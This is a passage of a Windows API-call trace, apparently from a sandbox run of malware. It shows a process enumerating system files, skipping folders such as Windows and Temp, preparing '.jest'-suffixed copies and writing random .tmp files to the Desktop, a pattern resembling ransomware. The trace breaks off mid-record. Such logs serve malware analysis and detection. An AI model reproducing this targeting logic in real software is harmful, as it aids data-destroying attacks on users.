[0121.250] GetFullPathNameA (in: lpFileName="PjAo6iXdaDhvt8UmvOHbq8xptGR7u5jy3ejhz64nkgtK3dY1bzCDRwdnlk8x-EvS05ltoHWEZgVpPZ33JTD jInp9BZtb6CWtGwu9.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\PjAo6iXdaDhvt8UmvOHbq8xptGR7u5jy3ejhz64nkgtK3dY1bzCDRwdnlk8x-EvS05ltoHWEZgVpPZ33JTD jInp9BZtb6CWtGwu9.tmp", lpFilePart=0x18e6e4*="PjAo6iXdaDhvt8UmvOHbq8xptGR7u5jy3ejhz64nkgtK3dY1bzCDRwdnlk8x-EvS05ltoHWEZgVpPZ33JTD jInp9BZtb6CWtGwu9.tmp") returned 0x8f [0121.250] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\PjAo6iXdaDhvt8UmvOHbq8xptGR7u5jy3ejhz64nkgtK3dY1bzCDRwdnlk8x-EvS05ltoHWEZgVpPZ33JTD jInp9BZtb6CWtGwu9.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x6f416a50, cFileName="6iXdaDhvt8UmvOHbq8xptGR7u5jy3ejhz64nkgtK3dY1bzCDRwdnlk8x-EvS05ltoHWEZgVpPZ33JTD jInp9BZtb6CWtGwu9.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0121.250] GetLastError () returned 0x2 [0121.250] GetLastError () returned 0x2 [0121.250] SetLastError (dwErrCode=0x2) [0121.250] RtlUnwind (TargetFrame=0x18eb48, TargetIp=0x72a43caf, ExceptionRecord=0x0, ReturnValue=0x0) [0121.251] lstrcpynW (in: lpString1=0x14cf24c, lpString2="amd64_microsoft-windows-tabletpc-softkeyboard_31bf3856ad364e35_6.1.7601.17514_none_2fd7b56967fc5c76_base_heb.xml_f444f554", iMaxLength=122 | out: lpString1="amd64_microsoft-windows-tabletpc-softkeyboard_31bf3856ad364e35_6.1.7601.17514_none_2fd7b56967fc5c76_base_heb.xml_f444f554") returned="amd64_microsoft-windows-tabletpc-softkeyboard_31bf3856ad364e35_6.1.7601.17514_none_2fd7b56967fc5c76_base_heb.xml_f444f554" [0121.251] lstrcpynW (in: lpString1=0x14da79c, lpString2="base_heb.xml", iMaxLength=13 | out: lpString1="base_heb.xml") returned="base_heb.xml" [0121.251] lstrcpynW (in: lpString1=0x14cf24c, lpString2="\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main", iMaxLength=68 | out: lpString1="\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main") returned="\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main" [0121.251] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_heb.xml", cchLength=0x53 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml") returned 0x53 [0121.251] CharLowerBuffW (in: lpsz="\\Windows\\", cchLength=0xa | out: lpsz="\\windows\\") returned 0xa [0121.251] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_heb.xml", cchLength=0x53 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml") returned 0x53 [0121.251] CharLowerBuffW (in: lpsz="\\AppData\\Local\\Temp\\", cchLength=0x15 | out: lpsz="\\appdata\\local\\temp\\") returned 0x15 [0121.251] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_heb.xml", cchLength=0x53 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml") returned 0x53 [0121.252] CharLowerBuffW (in: lpsz="\\Local Settings\\Temp", cchLength=0x15 | out: lpsz="\\local settings\\temp") returned 0x15 [0121.252] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_heb.xml", cchLength=0x53 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml") returned 0x53 [0121.252] CharLowerBuffW (in: lpsz="\\Microsoft\\Framework\\.NETFramework\\", cchLength=0x24 | out: lpsz="\\microsoft\\framework\\.netframework\\") returned 0x24 [0121.252] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_heb.xml", cchLength=0x53 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml") returned 0x53 [0121.252] CharLowerBuffW (in: lpsz="\\SDK\\Bootstrapper\\Packages\\", cchLength=0x1c | out: lpsz="\\sdk\\bootstrapper\\packages\\") returned 0x1c [0121.252] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_heb.xml", cchLength=0x53 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml") returned 0x53 [0121.252] CharLowerBuffW (in: lpsz="\\Tools\\Binn\\ManagementStudio\\SqlWorkbenchProjectItems\\Sql\\", cchLength=0x3b | out: lpsz="\\tools\\binn\\managementstudio\\sqlworkbenchprojectitems\\sql\\") returned 0x3b [0121.252] VarOr (in: pvarLeft=0x18ee2c, pvarRight=0x18edec, pvarResult=0x18eddc | out: pvarResult=0x18eddc) returned 0x0 [0121.252] VarOr (in: pvarLeft=0x18eddc, pvarRight=0x18ed9c, pvarResult=0x18ed8c | out: pvarResult=0x18ed8c) returned 0x0 [0121.252] VarOr (in: pvarLeft=0x18ed8c, pvarRight=0x18ed4c, pvarResult=0x18ed3c | out: pvarResult=0x18ed3c) returned 0x0 [0121.252] VarOr (in: pvarLeft=0x18ed3c, pvarRight=0x18ecfc, pvarResult=0x18ecec | out: pvarResult=0x18ecec) returned 0x0 [0121.253] VarOr (in: pvarLeft=0x18ecec, pvarRight=0x18ecac, pvarResult=0x18ec9c | out: pvarResult=0x18ec9c) returned 0x0 [0121.253] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_heb.xml", nBufferLength=0x104, lpBuffer=0x18e9a8, lpFilePart=0x18e870 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_heb.xml", lpFilePart=0x18e870*="base_heb.xml") returned 0x52 [0121.255] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_heb.xml.jest", nBufferLength=0x104, lpBuffer=0x18e9a8, lpFilePart=0x18e870 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_heb.xml.jest", lpFilePart=0x18e870*="base_heb.xml.jest") returned 0x57 [0121.257] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_heb.xml", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_heb.xml", lpFilePart=0x18e6d8*="base_heb.xml") returned 0x52 [0121.257] FindFirstFileA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_heb.xml", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1cdbf2a, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1cdbf2a, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f68fe25, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2e2, dwReserved0=0x8c, dwReserved1=0x0, cFileName="base_heb.xml", cAlternateFileName="")) returned 0x143ce48 [0121.257] FindClose (in: hFindFile=0x143ce48 | out: hFindFile=0x143ce48) returned 1 [0121.257] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x14da7c4, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0121.257] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_heb.xml", nBufferLength=0x104, lpBuffer=0x18e8b8, lpFilePart=0x18e780 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_heb.xml", lpFilePart=0x18e780*="base_heb.xml") returned 0x52 [0121.258] RtlUnwind (TargetFrame=0x18eb48, TargetIp=0x72a43caf, ExceptionRecord=0x0, ReturnValue=0x0) [0121.258] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_heb.xml", nBufferLength=0x104, lpBuffer=0x18e8b8, lpFilePart=0x18e780 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_heb.xml", lpFilePart=0x18e780*="base_heb.xml") returned 0x52 [0121.258] RtlUnwind (TargetFrame=0x18eb48, TargetIp=0x72a43caf, ExceptionRecord=0x0, ReturnValue=0x0) [0121.258] GetLocalTime (in: lpSystemTime=0x18e9d4 | out: lpSystemTime=0x18e9d4*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0x9, wMilliseconds=0x39f)) [0121.259] VarDateFromUdate (in: pudateIn=0x18e9f8, dwFlags=0x0, pdateOut=0x18e9d4 | out: pdateOut=0x18e9d4) returned 0x0 [0121.259] GetLocalTime (in: lpSystemTime=0x18ea14 | out: lpSystemTime=0x18ea14*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0x9, wMilliseconds=0x39f)) [0121.259] GetLocalTime (in: lpSystemTime=0x18ea3c | out: lpSystemTime=0x18ea3c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0x9, wMilliseconds=0x39f)) [0121.259] GetUserDefaultLCID () returned 0x409 [0121.259] VarBstrFromR4 (in: fltIn=0x479442f7, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75909.93") returned 0x0 [0121.259] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_heb.xml", nBufferLength=0x104, lpBuffer=0x18e8b8, lpFilePart=0x18e780 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_heb.xml", lpFilePart=0x18e780*="base_heb.xml") returned 0x52 [0121.259] RtlUnwind (TargetFrame=0x18eb48, TargetIp=0x72a43caf, ExceptionRecord=0x0, ReturnValue=0x0) [0121.260] GetCurrentProcessId () returned 0x9e0 [0121.260] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x3831c18 [0121.260] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832ec0 [0121.260] GetFullPathNameA (in: lpFileName=" WD29BoIJOGEbQuYQzABabbYGkcXqVgyLF8J997rw v N ttpWVoEHQ02RYRy57wM4_ZQPsmv-B1dE8lGMLsbi1CIFyfSYg5f4-.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ WD29BoIJOGEbQuYQzABabbYGkcXqVgyLF8J997rw v N ttpWVoEHQ02RYRy57wM4_ZQPsmv-B1dE8lGMLsbi1CIFyfSYg5f4-.tmp", lpFilePart=0x18e708*=" WD29BoIJOGEbQuYQzABabbYGkcXqVgyLF8J997rw v N ttpWVoEHQ02RYRy57wM4_ZQPsmv-B1dE8lGMLsbi1CIFyfSYg5f4-.tmp") returned 0x8e [0121.260] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_heb.xml", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_heb.xml", lpFilePart=0x18e708*="base_heb.xml") returned 0x52 [0121.260] RtlUnwind (TargetFrame=0x18eb48, TargetIp=0x72a43caf, ExceptionRecord=0x0, ReturnValue=0x0) [0121.261] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=" WD29BoIJOGEbQuYQzABabbYGkcXqVgyLF8J997rw v N ttpWVoEHQ02RYRy57wM4_ZQPsmv-B1dE8lGMLsbi1CIFyfSYg5f4-.tmp", cchWideChar=-1, lpMultiByteStr=0x18e6ec, cbMultiByte=261, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" WD29BoIJOGEbQuYQzABabbYGkcXqVgyLF8J997rw v N ttpWVoEHQ02RYRy57wM4_ZQPsmv-B1dE8lGMLsbi1CIFyfSYg5f4-.tmp", lpUsedDefaultChar=0x0) returned 105 [0121.261] GetFullPathNameA (in: lpFileName=" WD29BoIJOGEbQuYQzABabbYGkcXqVgyLF8J997rw v N ttpWVoEHQ02RYRy57wM4_ZQPsmv-B1dE8lGMLsbi1CIFyfSYg5f4-.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ WD29BoIJOGEbQuYQzABabbYGkcXqVgyLF8J997rw v N ttpWVoEHQ02RYRy57wM4_ZQPsmv-B1dE8lGMLsbi1CIFyfSYg5f4-.tmp", lpFilePart=0x18e6e4*=" WD29BoIJOGEbQuYQzABabbYGkcXqVgyLF8J997rw v N ttpWVoEHQ02RYRy57wM4_ZQPsmv-B1dE8lGMLsbi1CIFyfSYg5f4-.tmp") returned 0x8e [0121.261] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ WD29BoIJOGEbQuYQzABabbYGkcXqVgyLF8J997rw v N ttpWVoEHQ02RYRy57wM4_ZQPsmv-B1dE8lGMLsbi1CIFyfSYg5f4-.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x32445720, cFileName="9BoIJOGEbQuYQzABabbYGkcXqVgyLF8J997rw v N ttpWVoEHQ02RYRy57wM4_ZQPsmv-B1dE8lGMLsbi1CIFyfSYg5f4-.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0121.261] GetLastError () returned 0x2 [0121.261] GetLastError () returned 0x2 [0121.261] SetLastError (dwErrCode=0x2) [0121.261] RtlUnwind (TargetFrame=0x18eb48, TargetIp=0x72a43caf, ExceptionRecord=0x0, ReturnValue=0x0) [0121.261] lstrcpynW (in: lpString1=0x1445ffc, lpString2="amd64_microsoft-windows-tabletpc-softkeyboard_31bf3856ad364e35_6.1.7601.17514_none_2fd7b56967fc5c76_base_jpn.xml_f49007c9", iMaxLength=122 | out: lpString1="amd64_microsoft-windows-tabletpc-softkeyboard_31bf3856ad364e35_6.1.7601.17514_none_2fd7b56967fc5c76_base_jpn.xml_f49007c9") returned="amd64_microsoft-windows-tabletpc-softkeyboard_31bf3856ad364e35_6.1.7601.17514_none_2fd7b56967fc5c76_base_jpn.xml_f49007c9" [0121.262] lstrcpynW (in: lpString1=0x14da79c, lpString2="base_jpn.xml", iMaxLength=13 | out: lpString1="base_jpn.xml") returned="base_jpn.xml" [0121.262] lstrcpynW (in: lpString1=0x146907c, lpString2="\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main", iMaxLength=68 | out: lpString1="\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main") returned="\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main" [0121.262] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_jpn.xml", cchLength=0x53 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml") returned 0x53 [0121.262] CharLowerBuffW (in: lpsz="\\Windows\\", cchLength=0xa | out: lpsz="\\windows\\") returned 0xa [0121.262] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_jpn.xml", cchLength=0x53 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml") returned 0x53 [0121.262] CharLowerBuffW (in: lpsz="\\AppData\\Local\\Temp\\", cchLength=0x15 | out: lpsz="\\appdata\\local\\temp\\") returned 0x15 [0121.262] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_jpn.xml", cchLength=0x53 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml") returned 0x53 [0121.262] CharLowerBuffW (in: lpsz="\\Local Settings\\Temp", cchLength=0x15 | out: lpsz="\\local settings\\temp") returned 0x15 [0121.263] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_jpn.xml", cchLength=0x53 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml") returned 0x53 [0121.263] CharLowerBuffW (in: lpsz="\\Microsoft\\Framework\\.NETFramework\\", cchLength=0x24 | out: lpsz="\\microsoft\\framework\\.netframework\\") returned 0x24 [0121.263] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_jpn.xml", cchLength=0x53 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml") returned 0x53 [0121.263] CharLowerBuffW (in: lpsz="\\SDK\\Bootstrapper\\Packages\\", cchLength=0x1c | out: lpsz="\\sdk\\bootstrapper\\packages\\") returned 0x1c [0121.263] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_jpn.xml", cchLength=0x53 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml") returned 0x53 [0121.263] CharLowerBuffW (in: lpsz="\\Tools\\Binn\\ManagementStudio\\SqlWorkbenchProjectItems\\Sql\\", cchLength=0x3b | out: lpsz="\\tools\\binn\\managementstudio\\sqlworkbenchprojectitems\\sql\\") returned 0x3b [0121.263] VarOr (in: pvarLeft=0x18ee2c, pvarRight=0x18edec, pvarResult=0x18eddc | out: pvarResult=0x18eddc) returned 0x0 [0121.263] VarOr (in: pvarLeft=0x18eddc, pvarRight=0x18ed9c, pvarResult=0x18ed8c | out: pvarResult=0x18ed8c) returned 0x0 [0121.263] VarOr (in: pvarLeft=0x18ed8c, pvarRight=0x18ed4c, pvarResult=0x18ed3c | out: pvarResult=0x18ed3c) returned 0x0 [0121.263] VarOr (in: pvarLeft=0x18ed3c, pvarRight=0x18ecfc, pvarResult=0x18ecec | out: pvarResult=0x18ecec) returned 0x0 [0121.264] VarOr (in: pvarLeft=0x18ecec, pvarRight=0x18ecac, pvarResult=0x18ec9c | out: pvarResult=0x18ec9c) returned 0x0 [0121.264] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_jpn.xml", nBufferLength=0x104, lpBuffer=0x18e9a8, lpFilePart=0x18e870 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_jpn.xml", lpFilePart=0x18e870*="base_jpn.xml") returned 0x52 [0121.266] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_jpn.xml.jest", nBufferLength=0x104, lpBuffer=0x18e9a8, lpFilePart=0x18e870 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_jpn.xml.jest", lpFilePart=0x18e870*="base_jpn.xml.jest") returned 0x57 [0121.268] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_jpn.xml", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_jpn.xml", lpFilePart=0x18e6d8*="base_jpn.xml") returned 0x52 [0121.268] FindFirstFileA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_jpn.xml", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d02087, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1d02087, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f68fe25, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x324, dwReserved0=0x8c, dwReserved1=0x0, cFileName="base_jpn.xml", cAlternateFileName="")) returned 0x143ce48 [0121.268] FindClose (in: hFindFile=0x143ce48 | out: hFindFile=0x143ce48) returned 1 [0121.268] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x14da7c4, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0121.268] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_jpn.xml", nBufferLength=0x104, lpBuffer=0x18e8b8, lpFilePart=0x18e780 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_jpn.xml", lpFilePart=0x18e780*="base_jpn.xml") returned 0x52 [0121.269] RtlUnwind (TargetFrame=0x18eb48, TargetIp=0x72a43caf, ExceptionRecord=0x0, ReturnValue=0x0) [0121.269] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_jpn.xml", nBufferLength=0x104, lpBuffer=0x18e8b8, lpFilePart=0x18e780 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_jpn.xml", lpFilePart=0x18e780*="base_jpn.xml") returned 0x52 [0121.269] RtlUnwind (TargetFrame=0x18eb48, TargetIp=0x72a43caf, ExceptionRecord=0x0, ReturnValue=0x0) [0121.270] GetLocalTime (in: lpSystemTime=0x18e9d4 | out: lpSystemTime=0x18e9d4*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0x9, wMilliseconds=0x3ae)) [0121.270] VarDateFromUdate (in: pudateIn=0x18e9f8, dwFlags=0x0, pdateOut=0x18e9d4 | out: pdateOut=0x18e9d4) returned 0x0 [0121.270] GetLocalTime (in: lpSystemTime=0x18ea14 | out: lpSystemTime=0x18ea14*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0x9, wMilliseconds=0x3ae)) [0121.270] GetLocalTime (in: lpSystemTime=0x18ea3c | out: lpSystemTime=0x18ea3c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0x9, wMilliseconds=0x3ae)) [0121.270] GetUserDefaultLCID () returned 0x409 [0121.270] VarBstrFromR4 (in: fltIn=0x479442f9, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75909.95") returned 0x0 [0121.270] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_jpn.xml", nBufferLength=0x104, lpBuffer=0x18e8b8, lpFilePart=0x18e780 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_jpn.xml", lpFilePart=0x18e780*="base_jpn.xml") returned 0x52 [0121.271] RtlUnwind (TargetFrame=0x18eb48, TargetIp=0x72a43caf, ExceptionRecord=0x0, ReturnValue=0x0) [0121.271] GetCurrentProcessId () returned 0x9e0 [0121.271] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x3831c18 [0121.271] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832ec0 [0121.271] GetFullPathNameA (in: lpFileName="N2Twqnz PZUtxzM 8Gg46jQ bDoBmIOVwo2DWo9mUJ2zMp5Cw71uW9HvynhMdI0sBJUs CGqogK18Vct-fw0Q nlBAFHqWCzVk7Ig.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\N2Twqnz PZUtxzM 8Gg46jQ bDoBmIOVwo2DWo9mUJ2zMp5Cw71uW9HvynhMdI0sBJUs CGqogK18Vct-fw0Q nlBAFHqWCzVk7Ig.tmp", lpFilePart=0x18e708*="N2Twqnz PZUtxzM 8Gg46jQ bDoBmIOVwo2DWo9mUJ2zMp5Cw71uW9HvynhMdI0sBJUs CGqogK18Vct-fw0Q nlBAFHqWCzVk7Ig.tmp") returned 0x8f [0121.271] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_jpn.xml", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_jpn.xml", lpFilePart=0x18e708*="base_jpn.xml") returned 0x52 [0121.272] RtlUnwind (TargetFrame=0x18eb48, TargetIp=0x72a43caf, ExceptionRecord=0x0, ReturnValue=0x0) [0121.272] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="N2Twqnz PZUtxzM 8Gg46jQ bDoBmIOVwo2DWo9mUJ2zMp5Cw71uW9HvynhMdI0sBJUs CGqogK18Vct-fw0Q nlBAFHqWCzVk7Ig.tmp", cchWideChar=-1, lpMultiByteStr=0x18e6ec, cbMultiByte=261, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N2Twqnz PZUtxzM 8Gg46jQ bDoBmIOVwo2DWo9mUJ2zMp5Cw71uW9HvynhMdI0sBJUs CGqogK18Vct-fw0Q nlBAFHqWCzVk7Ig.tmp", lpUsedDefaultChar=0x0) returned 106 [0121.272] GetFullPathNameA (in: lpFileName="N2Twqnz PZUtxzM 8Gg46jQ bDoBmIOVwo2DWo9mUJ2zMp5Cw71uW9HvynhMdI0sBJUs CGqogK18Vct-fw0Q nlBAFHqWCzVk7Ig.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\N2Twqnz PZUtxzM 8Gg46jQ bDoBmIOVwo2DWo9mUJ2zMp5Cw71uW9HvynhMdI0sBJUs CGqogK18Vct-fw0Q nlBAFHqWCzVk7Ig.tmp", lpFilePart=0x18e6e4*="N2Twqnz PZUtxzM 8Gg46jQ bDoBmIOVwo2DWo9mUJ2zMp5Cw71uW9HvynhMdI0sBJUs CGqogK18Vct-fw0Q nlBAFHqWCzVk7Ig.tmp") returned 0x8f [0121.272] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\N2Twqnz PZUtxzM 8Gg46jQ bDoBmIOVwo2DWo9mUJ2zMp5Cw71uW9HvynhMdI0sBJUs CGqogK18Vct-fw0Q nlBAFHqWCzVk7Ig.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, 